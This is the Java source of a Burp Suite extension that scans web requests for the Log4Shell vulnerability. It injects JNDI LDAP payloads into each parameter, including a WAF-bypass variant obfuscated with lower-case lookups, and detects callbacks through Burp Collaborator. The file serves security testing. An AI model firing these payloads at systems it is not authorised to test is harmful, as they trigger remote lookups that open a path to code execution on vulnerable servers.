/
BurpExtender.java
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/
BurpExtender.java
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package burp;
import java.awt.*;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.io.PrintWriter;
import java.net.URL;
import java.util.ArrayList;
import java.util.List;
import javax.swing.*;
import javax.swing.table.AbstractTableModel;
import javax.swing.table.TableModel;
public class BurpExtender extends AbstractTableModel implements IBurpExtender, IScannerCheck, ITab, IMessageEditorController, IContextMenuFactory {
public IBurpExtenderCallbacks callbacks;
public IExtensionHelpers helpers;
public PrintWriter stdout;
private JSplitPane splitPane;
private IMessageEditor requestViewer;
private IMessageEditor responseViewer;
private Table logTable;
private final List<LogEntry> log = new ArrayList<LogEntry>();
private IHttpRequestResponse currentlyDisplayedItem;
@Override
public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) {
this.callbacks = callbacks;
this.stdout = new PrintWriter(callbacks.getStdout(), true);
this.helpers = callbacks.getHelpers();
callbacks.setExtensionName("BurpLog4j2Scan");
stdout.println("@Author: TXF");
stdout.println("@Github: https://github.com/tangxiaofeng7/BurpLog4j2Scan");
callbacks.registerScannerCheck(this);
callbacks.registerContextMenuFactory(this);
SwingUtilities.invokeLater(new Runnable() {
@Override
public void run() {
splitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT);
logTable = new Table(BurpExtender.this);
JScrollPane scrollPane = new JScrollPane(logTable);
splitPane.setLeftComponent(scrollPane);
JTabbedPane tabs = new JTabbedPane();
requestViewer = BurpExtender.this.callbacks.createMessageEditor(BurpExtender.this, false);
responseViewer = BurpExtender.this.callbacks.createMessageEditor(BurpExtender.this, false);
tabs.addTab("Request", requestViewer.getComponent());
tabs.addTab("Response", responseViewer.getComponent());
splitPane.setRightComponent(tabs);
BurpExtender.this.callbacks.customizeUiComponent(splitPane);
BurpExtender.this.callbacks.customizeUiComponent(logTable);
BurpExtender.this.callbacks.customizeUiComponent(scrollPane);
BurpExtender.this.callbacks.customizeUiComponent(tabs);
BurpExtender.this.callbacks.addSuiteTab(BurpExtender.this);
}
});
}
@Override
public List<IScanIssue> doPassiveScan(IHttpRequestResponse baseRequestResponse) {
return null;
}
@Override
public List<IScanIssue> doActiveScan(IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
return null;
}
@Override
public int consolidateDuplicateIssues(IScanIssue existingIssue, IScanIssue newIssue) {
return 0;
}
public void checkVul(IHttpRequestResponse baseRequestResponse, int row) {
List<String> payloads = new ArrayList<String>();
URL url = this.helpers.analyzeRequest(baseRequestResponse).getUrl();
List<IScanIssue> issues = new ArrayList<>();
byte[] rawRequest = baseRequestResponse.getRequest();
byte[] tmpRawRequest = rawRequest;
IRequestInfo req = this.helpers.analyzeRequest(baseRequestResponse);
List<IParameter> paraList = req.getParameters();
int vuln = 0;
// 2.x-poc
payloads.add("${jndi:ldap://%s}");
//waf绕过
payloads.add("${${lower:j}${lower:n}${lower:d}i:${lower:ldap}://%s}");
IBurpCollaboratorClientContext context = this.callbacks.createBurpCollaboratorClientContext();
String dnslog = context.generatePayload(true);
List<IBurpCollaboratorInteraction> dnsres = new ArrayList<>();
for (IParameter param : paraList) {
try {
for (String payload : payloads) {
payload = String.format(payload, dnslog);
stdout.println("payload is " + payload);
stdout.println("param key is " + param.getName());
stdout.println("param value is " + param.getValue());
payload = this.helpers.urlEncode(payload);
IParameter newParam = helpers.buildParameter(param.getName(), payload, param.getType());
tmpRawRequest = helpers.updateParameter(rawRequest, newParam);
{
boolean hasModify = true;
if (hasModify) {
IHttpRequestResponse tmpReq = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), tmpRawRequest);
tmpReq.getResponse();
Thread.sleep(2000);
dnsres = context.fetchCollaboratorInteractionsFor(dnslog);
if (!dnsres.isEmpty()) {
stdout.println("find vuln!!!" + req.getUrl());
LogEntry logEntry = new LogEntry(url, "finished", "vul!!!", tmpReq);
log.set(row, logEntry);
fireTableRowsUpdated(row, row);
vuln=1;
break;
}
}
}
}
} catch (InterruptedException e) {
e.printStackTrace();
}
}
if (vuln == 0){
LogEntry logEntry = new LogEntry(url, "finished", "not vul", baseRequestResponse);
log.set(row, logEntry);
fireTableRowsUpdated(row, row);
}
}
@Override
public String getTabCaption() {
return "Log4j2Scan";
}
@Override
public Component getUiComponent() {
return splitPane;
}
@Override
public int getRowCount() {
return log.size();
}
@Override
public int getColumnCount() {
return 3;
}
@Override
public String getValueAt(int rowIndex, int columnIndex) {
LogEntry logEntry = log.get(rowIndex);
switch (columnIndex)
{
case 0:
return logEntry.url.toString();
case 1:
return logEntry.status;
case 2:
return logEntry.res;
default:
return "";
}
}
@Override
public String getColumnName(int column) {
switch (column){
case 0:
return "URL";
case 1:
return "Status";
case 2:
return "result";
default:
return "";
}
}
@Override
public IHttpService getHttpService() {
return currentlyDisplayedItem.getHttpService();
}
@Override
public byte[] getRequest() {
return currentlyDisplayedItem.getRequest();
}
@Override
public byte[] getResponse() {
return currentlyDisplayedItem.getResponse();
}
@Override
public List<JMenuItem> createMenuItems(IContextMenuInvocation invocation) {
List<JMenuItem> menus = new ArrayList<>(1);
IHttpRequestResponse responses[] = invocation.getSelectedMessages();
JMenuItem menuItem = new JMenuItem("Send to Log4j2Scan");
menus.add(menuItem);
menuItem.addActionListener(new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
// logTable.addRowSelectionInterval();
int row = log.size();
LogEntry logEntry = new LogEntry(helpers.analyzeRequest(responses[0]).getUrl(), "scanning", "", responses[0]);
log.add(logEntry);
fireTableRowsInserted(row, row);
Thread thread = new Thread(new Runnable() {
@Override
public void run() {
checkVul(responses[0], row);
}
});
thread.start();
}
});
return menus;
}
private static class LogEntry{
final URL url;
final String status;
final String res;
final IHttpRequestResponse requestResponse;
LogEntry(URL url, String status, String res, IHttpRequestResponse requestResponse) {
this.url = url;
this.status = status;
this.res = res;
this.requestResponse = requestResponse;
}
}
private class Table extends JTable
{
public Table(TableModel tableModel)
{
super(tableModel);
}
@Override
public void changeSelection(int row, int col, boolean toggle, boolean extend)
{
// show the log entry for the selected row
LogEntry logEntry = log.get(row);
requestViewer.setMessage(logEntry.requestResponse.getRequest(), true);
responseViewer.setMessage(logEntry.requestResponse.getResponse(), false);
currentlyDisplayedItem = logEntry.requestResponse;
super.changeSelection(row, col, toggle, extend);
}
}
}
class CustomScanIssue implements IScanIssue{
private IHttpService httpService;
private URL url;
private IHttpRequestResponse[] httpMessages;
private String name;
private String detail;
private String severity;
public CustomScanIssue(
IHttpService httpService,
URL url,
IHttpRequestResponse[] httpMessages,
String name,
String detail,
String severity)
{
this.httpService = httpService;
this.url = url;
this.httpMessages = httpMessages;
this.name = name;
this.detail = detail;
this.severity = severity;
}
@Override
public URL getUrl() {
return url;
}
@Override
public String getIssueName() {
return name;
}
@Override
public int getIssueType() {
return 0;
}
@Override
public String getSeverity() {
return severity;
}
@Override
public String getConfidence() {
return "Certain";
}
@Override
public String getIssueBackground() {
return null;
}
@Override
public String getRemediationBackground() {
return null;
}
@Override
public String getIssueDetail() {
return detail;
}
@Override
public String getRemediationDetail() {
return null;
}
@Override
public IHttpRequestResponse[] getHttpMessages() {
return httpMessages;
}
@Override
public IHttpService getHttpService() {
return httpService;
}
}